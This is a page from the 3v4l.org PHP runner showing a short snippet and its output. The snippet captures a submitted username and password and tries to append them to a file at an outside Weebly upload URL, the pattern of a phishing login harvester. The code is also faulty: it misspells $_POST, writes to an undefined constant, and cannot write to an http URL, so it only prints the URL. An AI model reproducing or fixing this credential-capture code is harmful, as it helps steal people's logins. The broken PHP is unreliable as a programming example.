3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $fileURL = 'http://www.weebly.com/uploads/4/5/9/7/45973299/logininterfacetest'; if(isset($_Post['username']) && isset($_Post['password'])){ $username = $_Post['username']; $password = $_Post['password']; $account = $username.';'.$password.'!'; file_put_contents(fileUrl, $account, FILE_APPEND); } else { echo $fileURL; } ?>
Output for 4.3.0 - 7.2.0
http://www.weebly.com/uploads/4/5/9/7/45973299/logininterfacetest